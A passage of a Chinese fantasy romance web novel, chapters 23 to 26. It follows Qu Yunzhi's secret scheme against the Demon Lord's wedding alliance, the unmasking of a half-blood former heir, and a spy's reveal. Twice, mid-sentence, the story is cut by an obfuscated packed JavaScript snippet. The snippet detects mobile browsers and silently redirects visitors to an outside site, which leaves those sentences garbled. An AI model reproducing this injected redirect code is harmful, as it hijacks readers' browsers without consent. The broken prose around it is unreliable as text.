万俟逐鹿见她仿佛是真的不在意,松了口气回答,“我将那个暗卫从头到尾调查了一遍,实话说有疑点和不清楚的地方,但没发现他勾结外人的确凿证据。” “而他留下的这个弟弟掺了一半人族血脉,孤身留在王城迟早活不下去,索性带到魔宫予他一份差事。” 曲云织伸手,指着异瞳少年,“让他跟在我身边如何?” 万俟逐鹿松下的那口气又提了上来,“你为什么看上他了?” 随后一改先前和善,凶神恶煞的模样吓得异瞳少年连连往后挪。 魔尊眼神嫌弃地上下审视少年营养不良的瘦弱身躯,和身上青青紫紫的淤痕,挑剔道:“这细胳膊细腿能做些什么?” 曲云织瞪了魔尊一眼,挡住他不怀好意的视线,对异瞳少年笑了笑,“他身上有部分人族血脉,我感到亲近不成吗?” 万俟逐鹿不情不愿道:“随你。” 少年后知后觉,眨了眨金绿异瞳,起身拍干净衣上尘土,乖巧地跟在曲云织身后。 23. 第 23 章 “上清仙宗现状如何了?” 曲云织撩了下帘子,收回远眺窗外的目光,在确认四周无人后,将心底的话问出了口。 她身后,站着一道粗布麻衣的瘦小身影,闻言并不急着作答,而是双手掬起一捧清水往脸上一泼,抽出架子上搭的布巾擦干净污渍。 步妄语随手放下巾帕,睁开一双金绿异瞳,面上神色与方才的木讷温顺相比,简直判若两人。 他细细打量曲云织的背影,又往这间寝宫扫了一圈,心中有了大致判断,才慢悠悠嗤笑了一声。 “一切如常,至于更多内幕,就不是以我的身份能知道的了。” 曲云织乍一听有些刻薄的声线,转过头,被这人魔混血的少年一番变脸的本事给惊到。 原以为这是个饱受欺凌的凄惨小孩,但当他擦干净脸,露出一张白皙面容,五官如同一尊精雕细琢的瓷器,眉眼间蕴着的戾色却像恨不得将一切破坏殆尽。 曲云织默默在心中订正了对他的印象。 一个苦大仇深的小屁孩。 不过自小生活在魔域,撞见的每一个人都将他当做食物,任谁也开朗不起来。 曲云织还没有余力对陌生人散发同情心,冷淡问道:“你与颜清是什么关系?” 颜清是上清仙宗的首席大弟子,曾多次试图拜玄微仙君为师,但屡遭拒绝,一来二去的拉扯之间,反而与曲云织的关系好了起来。 她远在魔域,手伸不到上清仙宗内部,与几位长老通过水镜的对话也在魔族监视之下,有什么小动作都难。 没曾想在这个人魔混血的小鬼身上,察觉到她同颜清约定好,只有她能意识到的神魂标记。 步妄语虽不知她是如何发觉自己与颜清的联系,但也猜了个大差不差,想着回去之后从头到尾清洗一遍身上痕迹,嘴上含糊回答,“从前打过几次交道。” 颜清和魔族的交集,除了边境冲突就只有资源争夺了。 曲云织深深看着眼前的异瞳少年,一个据说在王城内举步维艰的人魔混血,有本事结识远隔万里的仙宗大弟子。 这可完全不像一个被蒙在鼓里的清白无辜之人。 “那你知道你兄长的秘密吗?他为什么会死,犯了什么事,目的又是什么?”她饶有兴味地笑了下,“还是说你和你兄长本就是一伙儿的?” 步妄语面色终于有了些变化,唇角嘲讽般勾起,“我能知道些什么?” “我与他既非亲兄弟,也没多少深厚感情,充其量是生活在同一屋檐下互相提防利用的陌生人。” 他睨着曲云织,眼里是自诩洞彻世事的戏谑,“你从我这里打听不出什么的,就像他不清楚我私底下与人族结交,我也搞不懂他脑子里在想些什么,否则魔尊派来调查的人根本不可能放过我。” 曲云织倒也没失望,混血少年这番话印证了她一个猜测。 暗卫自始至终只在利用他弟弟,将他当做一个对外营造形象的工具,只是没想到他们二人连亲兄弟都不是。 “才一见面就问我这么多问题,而我都乖乖回答了。”步妄语撩了撩眼皮,一双流光溢彩的金绿异瞳毫无遮拦,“接下来是不是该轮到我问你答?” 曲云织颔首,“你问便是。” 步妄语泰然自若抽了张椅子,翘着腿坐下,“我答应颜清做他与你之间的联络人,那么我能得到些什么?” “你能许诺给我怎样的报酬?” 曲云织一扬眉梢,“你和颜清事先不曾商量好吗?” 步妄语撇了撇嘴角,“他倒是给了我一笔还算不错的订金,只是当我真与你碰面,发现我的要价还是低了。” 一个传言中即将同魔尊联姻的女人,瞒着魔宫上下,偷偷和一个逐步在上清仙宗掌权的首席弟子联络。 想也知道没打好算盘。 曲云织:“你想要些什么?” 步妄语但笑不答。 曲云织思索他坐地起价的可能,试探着说:“天材地宝?灵矿灵脉?” 异瞳少年不为所动,神色丝毫未改。 曲云织其实已经意识到不对,她先前几句疑问话里话外都在刺探眼前这个人魔混血的深浅,但被他敷衍过去。 反而借商讨报酬一事掌握话语主动权,同时默认了她要搞事。 还有,为何不向掌握了实权的颜清讨要更多资源,却在为难她一个势单力孤深陷魔域的可怜人。 有什么事情是只有她的身份能达成的? 曲云织脑中灵光一现,蓦地指出,“莫非,你想要一个身为人魔混血也能立足的资格?” 人魔二族结盟之后,他混血的身份将不再那么尴尬。 步妄语抚掌笑道:“脑子还不算太笨。” 曲云织却意味深长盯了他一会儿,还是不对,若人魔混血的目的是这个,只会想方设法促成这桩联姻,但以他的角度来看自己正不安分地试图做些小动作。 他最好的选择是从一开始就不接近她。 既然他选择成为她与颜清之间的联络人,就代表他也不想见到这桩联姻成功。 “我收回刚才的话。”曲云织说,“我能许诺给你的,是一个堂堂正正在人族生活的身份。” 步妄语收了笑,面色沉沉。 如果说他方才的夸赞还有些漫不经心,眼下却是第一次认识了曲云织那般,将她仔细看了一遍。 “猜对了。”步妄语垂了垂眼睫,甚至有些遗憾,“比起恶名昭著的魔族,还是定居人族更得我心意一些。” “所以你能做到吗?给我一个光明正大在人族的身份,所有人都知道我是人魔混血,但没有人能对此多加置喙。” 曲云织却道:“不好说。” 步妄语略感诧异。 曲云织眼波流转,“这得看你能付出多少努力。” 步妄语忽然掩住唇,低低地呵笑一声,拿捏住他的欲求,于是反客为主开始威胁勒索他了。 “该说不愧是引得魔尊动心的女人吗?” 他看向曲云织的眼神中带了点欣赏,“自从你来了魔域,接连给魔尊带了不少麻烦。” 曲云织一愣,眼底神色敛去。 这话说反了。 她暗中挑拨使魔尊与激进派险些决裂不假,但也就此撕开魔族真正的内部矛盾,让魔尊提早挖掘隐患,借机收拢人心,而不是留着这丝裂隙等到与神族开战后再爆发。 甚至于魔尊想讨伐神族,有一个前提,那就是必须得到第二件鸿蒙至宝,用以应对神族随时可以发动的那一个,从这方面思考,携带太乙天书的她才是 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“魔尊陛下让我瞒着段干鸿,在边境暗中所行之事进行得很顺利。”仲凌尉逐一汇报了细节,忽而道,“只是我有一事感到不解。” 万俟逐鹿托腮,“你说。” “与人族的联姻。”仲凌尉总是懒散的眼凝着一丝不明的神采,“陛下是当真迷恋上了那个人族女子,还是打算借大婚的时机围杀各仙门?” 万俟逐鹿沉吟半晌,放下手,指尖在桌面上敲了几敲。 终于,他深深吐出一口气。 “看情况吧。” 入夜,魔宫四处悄然无声。 飞檐斗拱的剪影屹立在墨色中,唯有几盏寒星似的孤灯静静摇曳。 万俟逐鹿推开寝宫大门,一打眼就瞧见那个人魔混血外表收拾得盘靓条顺,正像只勤快的蜜蜂四处忙活。 他不爽地啧了一声,吩咐这小孩退下。 曲云织没阻拦,上前戳了戳魔尊闷闷不乐的脸,“干嘛与一个小孩置气?” 万俟逐鹿不说话,从背后揽住曲云织的腰身,脸埋在她颈侧。 “联姻的时间定下来了,就在一个月后,届时人族各大仙宗都会派人前来祝贺,顺势签订人魔二族的盟约。” 曲云织正打算推开他的动作一顿。 万俟逐鹿仍将下巴搭在她肩上,平静的嗓音阐述他所希冀的未来,“等我们缔结了婚契,人魔二族喜结连理,就可以着手征讨神妖二族。” “你为我安定内部人心,我负责对外征战,二人携手一定能所向披靡。” “所以。”他偏过头,让曲云织在朦胧夜色里,将那双眼中的利色看得一清二楚。 “这是最后一次了。”魔尊似乎是喟叹般说道。 他在警告她,这是他最后一次能容忍自己的暗中作祟。 曲云织侧了侧脸,让二人浸在寒夜里同样冰凉的肌肤相贴,笑着应道:“那是自然。” 此次联姻是她最后一次反抗魔尊的机会。 如果连眼前这道难关都跨越不过去,只会证明她的无能。 那她干脆也别再想着以一己之力收集四族鸿蒙至宝,还不如安心当一个魔尊的附庸。 24. 第 24 章 时间很快来到大婚前夜。 这期间曲云织借着步妄语的渠道成功避开魔宫监视,联系上远在上清仙宗搅风搅雨的首席弟子颜清。 借他之口游说,总算说动了几位长老,同意在联姻当日,趁守备空虚之际对魔族发动进攻。 但这事有几个重要前提。 烛火幽微,曲云织换好一身火红嫁衣,屏退侍女,对着镜中缓缓走近的步妄语道:“再确认一遍明日的计划。” 谨慎些没什么不好,步妄语点了点头。 “近几日各大宗门的修士陆陆续续都到了,大部分驻扎在王城外,只有少数位高权重的几人常与魔尊会面,商量人魔二族盟约的细节。” 曲云织不无遗憾地说:“可惜我也难见到他们,要不然就是在魔尊眼皮子底下。” 但凡能从那几个大能修士手里扣点东西,她也不至于孤立无援到求助一个背景成谜的人魔混血。 步妄语好似听出她的不满,眼尾一横,嘴角勾起嘲讽的弧度,轻轻嗤了一声,“我这边才叫到处碰壁。” 他眼神挑剔地打量曲云织,“别忘了你曾许诺给我一个在人族立足的身份,可这几日我简直在人族处处受气!” 步妄语直到这时才有了点少年意气的模样,像只竖起浑身尖刺的刺猬,话语带毒。 “听你说得信誓旦旦,我还以为你在人族多有话语权。” “结果呢?那些个长老听到你提案的第一反应是认为你在开玩笑,连带着把我当个弱智一样哄。” “要不是有颜清的担保,我非得被当个细作拿下不可。” 曲云织仗着他的角度看不见,心虚地挪了挪目光,“……我名声不大好。” 步妄语冷笑,“岂止不太好,在他们眼里你就是个除了脸之外一无是处的废物!” 曲云织默默捂着中了一箭的胸口,纠正道:“是这张脸过分有用的好运废物,毕竟我凭一己之力争取来了人魔两族盟约。” “你还骄傲上了是吗?”步妄语没好气白了她一眼,“还有那些个掌权的老东西也是,直到现在还有大部分持中立态度。” 他一想到此就烦躁得啃指甲,皱着眉神色阴郁,“算盘打得挺响,若我们当日成功创造破绽,他们就一拥而上争抢揽功,一旦我们成不了事,他们还能继续维持与魔尊的表面友好。” “明哲保身,坐享其成。”步妄语一针见血地评价道,“果然在安稳的位置上待久了,骨头会变软,眼睛也会长得更高。” 曲云织叹了一声,“上清仙宗是这样的,长老们只要确保袭杀魔族的计划足够缜密可靠,万一失败还有回旋的余地就可以了,而我们在内部接应要考虑的事情就多了。” 步妄语:“……” 他琢磨了一遍这句话,“你在讽刺我?” 曲云织干咳两声,“你想多了。” 步妄语可没那么容易被她糊弄过去,从刺猬变成了河豚,字面意义气得鼓起了腮帮子,甚至带了些恨铁不成钢的意味。 “到了这个地步还在为那群老东西说话!” “他们听到联姻的消息,可是恨不得亲手把你送上魔尊的床,换他们一时半会的太平安稳。” “你们人族总是这样,只要牺牲的不是自己,就能心安理得袖手旁观,拿着他人换来的好处。” “但你作为被牺牲者,怎么可以在大环境熏陶下认为这种事理所应当?” 步妄语越想越气,硬生生将这场对话开成了批斗大会。 终于,他说得累了,单薄的胸膛起伏一阵子,抄起茶杯喝了一口。 曲云织静静看他,“气消了些没?” 步妄语咚一声放下杯盏,抹了抹嘴角,“要是我说还没有,你能再让我骂一会儿吗?” 曲云织:“……容我拒绝。” 这几日步妄语受了不少气,主要来自上清仙宗长老对他的不信任,与对人魔混血的偏见。 曲云织看在眼里,一直等他爆发,直到计划执行的前夜实在等不下去,亲手往这个灌满气的水囊上扎了一针,让他痛痛快快骂一场,消除最后的不稳定因素。 “你我二人一个是靠脸上位的玄微仙君花瓶道侣,另一个是来路不明的人魔混血,要真这么容易取得信任,上清仙宗早将被玩垮了。” 曲云织替混血少年斟了杯茶,“信任要靠自己争取。” 想要获得上清仙宗的投资,首先得让他们看到成功的可能性。 步妄语当然知道这一点,纯粹气不过而已。 心中憋的东西一股脑倾泻出去,他神清气爽,接过曲云织为他倒的茶再次一饮而尽后,从袖中取出一根形制奇特的银簪。 他走上前,手腕一转斜斜将银簪插入曲云织的发髻,退开时低声说:“这是颜清要我带给你的,以特殊手段祭炼过隐藏了气息的诛邪剑。” “玄微仙君死后人族少了一个足以牵制魔尊的大能,只能靠你趁其不备的偷袭,暂时拖延住魔尊。” 曲云织:……她偷袭魔尊,真的假的? 礼尚往来,曲云织转身,并指从眉心灵台处牵引出一道光点,将这道盈盈微光推入步妄语额头。 他揉着太阳穴,感受到脑海里凭空多出许多情报。 曲云织说:“王城内设有许多专门针对人族修士的阵法,其中威胁最大的是禁灵法阵。” “要想让宗门修士安心踏足王城,这道阵法必须毁去。” 她摊开手,耸了耸肩膀,“我顶多路过时偷窥一下,拓印我所知的阵法结构,这件事就全权交给你。” “等阵法一解开,就发送我们约定好的信号,届时修士们自会行动,再后面的事就不是我们该关心的了。” 步妄语指着自己,睁大一双金绿异瞳,拔高了语调,“阵法这么重要的环节交给我?” 曲云织瞥他一眼,“不然呢?我忙着成婚没时间。” 她拍拍混血少年的肩膀,“好好干,能不能获得仙宗认可就看你此次表现了。” 步妄语:“……”他眼中失去了光。 果然,这个世界就是一巨大的草台班子。 * 翌日。 月淡天欲晓,朝露映熹微。 万俟逐鹿一大早就拾掇好自己,因为顾虑人族那边的习俗,几天前便搬出曲云织的寝宫,滚回自个儿房间睡。 他站在闭合的大门前,来回踱步一会儿,做好心理准备,正准备敲门时又顿住,掏出面镜子对着自己照了又照,反反复复打理了许久才勉强满意。 吱呀一声,门被人主动从里面拉开。 万俟逐鹿还在拨弄鬓发,闻声吓了一跳,手忙脚乱收起镜子,抬头,微微一愣。 面前女子凤冠霞帔,点染红妆,正含笑注视自己,晨曦为她披上一层淡金纱衣,正如他梦中才会出现的场景。 曲云织倚着门,唇角闲闲一勾,“待在门口有一会儿了,怎么还不进来。” 万俟逐鹿抹了把脸,收起一副没出息的样子,想了想总不能说他太过紧张,于是理直气壮道:“在等你为我开门。” 曲云织似笑非笑睨着他,眼神瞟过他背在身后藏镜子的手,“进来吧。” 万俟逐鹿拧着眉毛,知道他的窘迫早就暴露无遗,自暴自弃把镜子往影子里一扔,追逐她转身时扬起的一抹绮丽裙摆,跨进门扉。 只是真当他进入寝宫,尤其视线扫过目之所及的大红大紫,每一处喜庆的布置都在提醒他今日就要成婚的事实,甜蜜与满足仍像恼人的清风,无孔不入钻进他心房。 万俟逐鹿露出一副有点傻气的笑,在曲云织看过来时又赶忙绷住脸,唯独扬起的嘴角根本压不下去。 如果他生了耳朵和尾巴,估计早摇晃出残影了。 曲云织心中冒出这个念头,一伸手挡住想要扑过来的魔尊,“簪子蹭歪了怎么办,我不想再重戴一遍,麻烦得紧。” 万俟逐鹿额头上挨了一巴掌,小声不服气地嘟囔,“反正今晚我都要给你脱下来。” 曲云织给气乐了,用了些力气将魔尊一张脸捏得变形,“这么早就过来做甚?” 万俟逐鹿腮帮子有点疼,却丝毫不恼怒,含含糊糊地说:“今日婚礼的流程全盘依照你们人族的来办。” 他说着有点沮丧,“谁叫我们魔族在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13255420|139649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一方面没有像样的习俗。” “不过有一点。”万俟逐鹿伸出一根手指,变戏法似的一转,手中多出来一物。 “魔族会将他们成年后得来的第一个战利品赠予心上人,若是收下便代表他们心意相通,从此结为夫妻。” 万俟逐鹿眼神飘忽,犹犹豫豫伸手到一半,又恼恨这种拖沓做派,索性一股脑往曲云织的方向递。 他掌心摊开,露出一个菱形宝石耳坠,比起精美繁复的金丝镂空雕花工艺,其中心镶嵌的宝石实在简陋了些,初看时色泽漆黑,细细打量隐约有星辰光晕流转。 “哝,给你。” 曲云织顿了片刻,接过来,垂眸翻来覆去地打量,思索被魔尊动了手脚的可能。 “放心,那就是块普通的乌金石,除了硬度高点没别的用处。”万俟逐鹿似是看出她心中所想,笑了一下。 他幼时对情爱一事全然不上心,成年后也好不到哪去。 其他魔族在父母再三叮嘱下,为了讨媳妇多少会选一个光鲜亮丽的猎物。 就他那时不满于自己黑漆漆的外表,找了块与他同病相怜的黑石头,整日盘起来,还与石头兄立下雄心壮志,总有一日会改头换面,野鸡一朝变凤凰。 之后这件事被他当黑历史封存,石头兄也遭受冷落。 还是宋逾偷偷将石头兄收了起来,昨晚被他急忙讨要过来,熬了个夜加工成耳坠模样。 万俟逐鹿也考虑过要不要找一件名贵点的东西,假装这才是他的定情信物,后来一想还是算了。 “我来就是给你送一块破石头的。”他不自在地摸了摸鼻子,“签订盟约与婚契分成了两个环节,待会儿我还得先跟那群人族老头儿打交道,不打搅你了。” 曲云织在人族那边声望不够,盟约的事还轮不到她,贴心地挥挥手,“那你先去忙吧。” 算算时间,步妄语那边也快摸到禁灵大阵了。 万俟逐鹿依依不舍离开了寝宫。 关上门时却在心想,仲凌尉应当已经按照他的吩咐就位,只等人族有异动就一举拿下。 而婚礼会场这边。 段干鸿左边一个笑得不怀好意的希辰,右边一个不认识的人族老头儿,只觉得座位烫屁股,浑身不自在。 这时,一个下属行色匆匆跑了过来,被他斥了一句,“这般重大场合不知道挑时间吗?有什么事等之后再说。” 下属却浑不在意,连滚带爬焦急传音,“段干大人!我找到了,找到上任魔尊之子的线索了!” 段干鸿面上怒容一收,眼神沉了下来。 下属喘匀了气,说起这事他自己也有些不可置疑,“前些天我意外发现了当年侍奉上任魔尊的老人,他本该销声匿迹却在王城那场暴乱中泄了行踪,我好不容易撬开他的嘴,从他口中打听到——” “上任魔尊之子,其实是一个人魔混血。” 段干鸿瞳孔一缩。 人魔混血? 不可能,以上任魔尊的暴虐行径,连同族都不放过的残忍心性,怎么可能与人族女子生育,还是唯一的子嗣。 可若是真的呢? 段干鸿神色变幻不定。 在边境也有不少魔族掳来人族女子做下腌臜之事,但那都是些神智低劣的杂种魔,诞下的子嗣近乎于野兽,能称得上混血儿的唯有体内流着高等魔族的血。 又有那些高等魔族想不开会与食物□□? 至少在他的认知里,长这么大也只见过一个人魔混血,还就藏身于王城之中! 麟符就在咫尺之隔的地方! 他目光往四周一扫,恰巧撞见那个被魔尊收入宫当杂役的人魔混血,正做侍从打扮行迹鬼祟穿过走廊,往魔宫深处行去。 段干鸿霍然起身,欲要离席,追上那道瘦小身影。 他旁边的希辰略一蹙眉,伸手拦住了他,恶劣道:“段干大人亲口说的重要场合,有什么急事非要在这时去办?” 段干鸿被阻的短短片刻,眼睁睁看到人魔混血的背影消失在走廊深处,深吸一口气,垂眼俯视希辰。 “你未免太过多管闲事了些。” 25. 第 25 章 走廊偏僻幽静,直通魔宫深处。 光线冒冒失失自窗棂处闯了进来,又在更深的黑暗面前驻足。 一道瘦弱的身影在半明半昧之间穿行,脚步落在地上阒然无声,宽大的衣衫飘来荡去,像一只虚无缥缈的幽魂。 步妄语停在了一个拐角,探出半个脑袋。 这是位于魔宫地下的一间密室,朦胧红光透过门扉漫染狭窄廊道,昭示禁灵阵法的中枢就在此处,只可惜门口站着两个五大三粗的魔族守卫。 修为还都不低,按照人族那边的标准是长生境。 比曲云织整整高了一个大境界。 步妄语心底腹诽一番,默默运转心法,将周身外泄的气息一丝不落锁入体内。 他走了出去,门口两个守卫目不斜视,一点也没瞧见他。 直到步妄语嚣张跋扈站在他们面前,那两双招子里依旧望不到他的身形。 遍地食人魔族的王城混得久了,别的不说,消除存在感躲猫猫的功夫,步妄语简直练得登峰造极。 他如同一阵微风飘过两个守卫的身边,或者说连风都不曾掀起。 悄然无声息。 步妄语顺利进入了藏有阵法中枢的密室,却不急着破坏阵法,而是慢条斯理转身,迎着守卫的背影。 并指为刃,干脆利落割下其中一个的头颅。 鲜血倏地飞溅。 他一番举动泄露了零星魔气,另一个幸运些的守卫第一时间察觉,顾不得同伴人头落地,一杆长枪横扫,意图逼潜行的宵小现身。 凌厉的破空声戛然而止,守卫长枪只抡了一半,就僵硬在半空,怒目圆睁,嘴角流出猩红血迹。 步妄语慢悠悠抽出穿透他心脏的五指,冷眼看着最后一个守卫倒地,手腕一振,将尚且温热的血甩了干净。 “呼~” 他松了口气,神色有些许疲惫。 步妄语虽然嘲笑曲云织修为不高,他自己也好不到哪里去,混了人魔二族的血,人族那一部分常年受到魔域的压制,修行举步维艰。 方才尽全力压抑自己的存在感,才换取几个呼吸的时间用来击杀守卫。 好在计划中最简单的一环顺利过关。 步妄语仰着脖子,只见这间密室的正中央设有一座高台,其上镂刻密密麻麻层层叠叠的线条。 空中悬浮着形似机关偃术的嵌合球体,色泽极浓极艳,只是看着就叫人心底发毛的红光绘制成符文,宛如斗转的星河般静静流淌。 这就是整座王城禁灵阵法的中枢。 步妄语按了按太阳穴,脑中搜刮曲云织传给他的情报,贴心地标记出了中枢的薄弱处,只要破坏那几个节点就大功告成。 他对照脑子里的画面和眼前这个球体,看久了那些错综复杂的线条就觉得眼睛疼。 真不知道曲云织是怎么寥寥瞥过几次,就能将整座阵法拆解。 想起从上清仙宗听来众人对她草包美人的评价,步妄语暗自冷笑,并给那些不知情跟风叫她草包的人打上了蠢货的标签。 眼下的难关是怎样以最快的速度破坏阵法中枢,拖得久了动静迟早引来其他守卫,到时被困在窄小的地底下,他逃都没地方逃。 要是留刚才那两个守卫一命就好了,长生境魔族自爆内丹的威力,足够将阵法中枢狠狠轰一个缺口。 趁着尸体还新鲜,魔气流失得不多,要不试一试? 步妄语想到便要去做,物尽其用,就地取材,为自己的想法偷偷鼓了个掌。 尚未转身,他头顶蓦地搭上了一只手。 有人就在他身后! 步妄语呼吸一窒,捕捉到自己陡然放大的心跳。 他浑身僵硬,不敢转头,只听闻上方一道阴冷暴虐的嗓音响起。 “抓到你了。” “上任魔尊的独子,庚楚殿下。” 段干鸿念出这个久远的称呼,轻慢地拍了拍少年的头,“当年我炎魔一族好心互送殿下逃亡,可殿下中途便不知所踪,这些年可是让我好找。” 步妄语很快冷静下来,拍开那只不怀好意的手,“我改名了,别用那个名字叫我。” “还有。”他嘲讽地睨了段干鸿一眼,“你们当年打的什么算盘,自己最清楚。” 段干鸿毫不在意他这番弱小无力的抵抗,“殿下,你生父留给你的东西,应该还带在身边吧。” “把麟符交出来,我可以当做从没见过你,要不然——” 他威胁似的一抬下巴,点了点地面散落的两具尸体,和正以恒定规律运转的阵法中枢。 “手握控制边境魔族的麟符,再加上里应外合勾结人族,意图破坏禁灵阵法,我相信魔尊陛下会很乐意与你谈一谈。” 段干鸿看着面前流露不甘之色的少年。 他本应更早些追上他,可离开座位是被希辰那厮拦了一下,身边那个人族老头儿也一副吃瓜看戏的样子。 实在烦不甚烦,索性捏着鼻子传音给希辰,说人族有异动他需要察看,转而让希辰对上那老头儿。 没曾想一语成谶,他紧赶慢赶循着微不可查的痕迹追上来,亲眼所见这个人魔混血是如何击杀守卫,在他打算破坏阵法中枢时才终于忍不住现身。 步妄语抿唇,心知与曲云织的这桩交易怕是完不成了,他做着最后的垂死挣扎,“麟符我没随身携带,而是藏在了一个隐秘地方。” 他猜测段干鸿嘴上这么威胁,实则并不想闹到魔尊那里去,不然麟符只会便宜了魔尊。 可以说他们二人如今处境一致,都不想闹出太大事端。 段干鸿扯了扯嘴角,压根不信他的屁话。 这小鬼想做什么一目了然,要是刚才让他毁了阵法,人魔二族就会在今日对上,而他手握边境魔族大军的控制权,可以一举渔翁得利。 “既如此,你便在前引路,带我找到麟符。” 先把小鬼从阵法中枢边上引开再说。 “好啊。”沉默了片刻,步妄语笑着答应。 段干鸿不轻不重搭着他肩膀,而步妄语眉眼弯弯,只这样看着宛如一对关系亲密的叔侄。 他们迈着向外的步伐,每一此落脚都很稳当,仿佛一步踏错就会跌入陷阱。 即将越过门口横着的两具尸首时,唯有二人的密室内,响起了第三道陌生嗓音。 “找东西这种麻烦事就不劳烦段干大人了。” 这声音很轻,也很嘶哑,像从粗粝的喉咙里磕磕绊绊碾磨出来,吐字同样曲折回环,回荡在狭小的房间莫名森冷,几乎不似人声。 段干鸿眼神瞬间冷厉,“谁在那装神弄鬼,出来!” 却是步妄语挑了下眉头,伸手指向死去多时的尸体。 只见无头尸身摇摇晃晃从地上爬起来,手胡乱地摸索,而胸口被洞穿的那具贴心地将头颅递到他手边。 无头尸身很有礼貌地鞠了下躬,将脑袋安在脖子上。 如同上演一出滑稽的默剧,两具气息断绝的尸体转向室内的活人,声音便是从心脏破洞的那具传出来。 看到眼前似曾相识的场景,段干鸿哪里还不知发生了什么。 “尸魔,仲凌尉。” 在魔域边境与他对峙许久,自然清楚他恶心至极的手段。 事情来龙去脉被仲凌尉得知,就代表他背后的魔尊同样一清二楚。 那还玩个屁! 段干鸿松开了钳制步妄语的动作。 仲凌尉操控尸体点了点头,“辛苦段干大人看护阵法核心,还将麟符的线索无私公开,魔尊陛下说他事后自会按功行赏。” 随后,尸体无神的眼睛看向步妄语,一双瞳孔早已涣散多时。 “还请庚楚殿下随我走一趟。” * “这就是麟符?” 万俟逐鹿对着太阳,打量手中一块光晕流转的器物。 材质似金非金,似木非木,镂刻成一只活灵活现,眼瞪如铜铃的昂首麒麟,触手的地方还会有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273120|139649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金色脉络亮起,一呼一吸仿若有生命。 仲凌尉站在他身后不远处,回答,“至少庚楚殿下说是的。” 万俟逐鹿随口道:“他早不是太子了,叫他殿下做甚?” 仲凌尉顺从地改了口,“哦,那个人魔混血的小鬼说这就是麟符。” 万俟逐鹿:“……”倒也不必如此上道。 他收起麟符,握在掌心,若有所思般低声呢喃,“就是这玩意儿强行控制了边境成千上万的魔族,逼他们一举一动听由命令行事?” 仲凌尉眨了眨一双没精打采的下垂眼,知晓魔尊这话不必他回答。 然而下一刻,他懒散的眼瞬间睁大。 只见魔尊五指一拢,竟毫不犹豫将掌握边境千万大军的麟符,就这样轻描淡写地捏碎! 碎屑扑簌簌落下,切面上宛如血液的金色亮痕急促闪烁,慢慢熄灭下去。 麟符就此彻底被损毁。 仲凌尉忍不住开口,“魔尊陛下——” 说到一半他嗓音渐渐迟疑,他该说什么,东西毁都毁了。 万俟逐鹿知他心中犹疑,拍了拍掌心残留的粉尘,“我又不搞独裁专制的那一套,这种在子民身上带镣铐的东西,根本没有存在的必要。” 他寻找麟符的初衷,本就是为了毁掉它。 仲凌尉视线落在满地黯淡的碎片上,“但愿陛下不要后悔。” 万俟逐鹿不屑轻嗤,换了个话题,“也就是说那个人魔混血联合了曲夫人,打算破坏此次联姻?” 仲凌尉:怎么说得像混不吝小鬼头,挑唆一个老实本分的寡居女人做坏事? 分明那女人才是主谋。 “魔尊陛下说的对。”仲凌尉都懒得反驳魔尊。 万俟逐鹿漫不经心道:“曲夫人身边才有奸人趁虚而入,你去帮我看顾着点。” “是。” * “所以,上任魔尊之子其实是个人魔混血。” “魔尊疑心段干鸿手中并没有麟符,于是借着他的行动顺藤摸瓜找到了正主。” 曲云织默念了一遍从仲凌尉口中听到的前因后果,不由笑出了声。 真是好样的。 作为上一任魔尊的独子,举目无亲的境地下非但没有逃往边境,反而冒险藏入王城,一藏就是这么多年没被发现。 手握足以造成魔域动荡的麟符,却直到今天这个关键时刻才打算动用。 好心计,好隐忍。 偏偏在最后关头泄露了身份。 还尽给她添麻烦! 曲云织冷冷地想着,交给步妄语的任务是破坏禁灵阵法,实则上清仙宗早有应对策略,将一个不算太重要的环节交给来历可疑的人魔混血。 给他一个自证的机会,同样也存了拿他当诱饵的心思。 仙宗行动的关键,还是在她身上。 若曲云织能成功偷袭重创魔尊,仙宗就可以毫无顾忌地撕毁盟约,以上清仙宗为首其他宗门自然一呼百应。 可惜她现在身边被派了个仲凌尉跟随,监视她的一举一动。 重创魔尊的时机没那么好找了。 曲云织诡谲的目光落在仲凌尉身上,思忖该如何打发了这个跟屁虫。 她的手摩挲发髻上一支银钗,这把暂时伪装成首饰的诛邪剑,是她目前唯一重创大魔族的手段。 本该留给魔尊的,难道要在这里就用掉吗? 仲凌尉神色淡淡,俨然一尊冷硬的石雕,恪尽职守杵在一旁,也不知是否察觉曲云织的杀意,此刻忽然有了动作。 他屏退了侍从,严严实实关上门扉。 这是想要做什么? 不管了,他自己送上门的机会,不用白不用。 曲云织的银钗已握在手中,昏暗下来的室内,钗尖一点寒芒闪烁,指向他的无知无觉的后颈。 仲凌尉深吸一口气。 不及转身,就一个滑跪扑倒。 “别动手,自己人!” 26. 第 26 章 诛邪剑堪堪停在仲凌尉面前,离他的震惊缩小的瞳孔不过一线之隔。 “自己人?”曲云织略有不解。 仲凌尉狠狠舒了口气,心有余悸一屁股坐在地上,连带着先前高深莫测冷淡俊美的大魔族形象也碎了一地。 他还想缓缓,却见一点寒芒在眼前晃了晃。 曲云织噙着悠哉悠哉的笑,“说吧,自己人是怎么一回事?” 仲凌尉小心翼翼把脑袋往后挪,诛邪剑紧随而至,心知不说出个所以然打消不了怀疑,酝酿几息,言简意赅道:“其实,我是个夺舍的人族修士。” 曲云织面露惊异,“夺舍?” 因这一丝迟疑,她执着诛邪剑的手偏了偏。 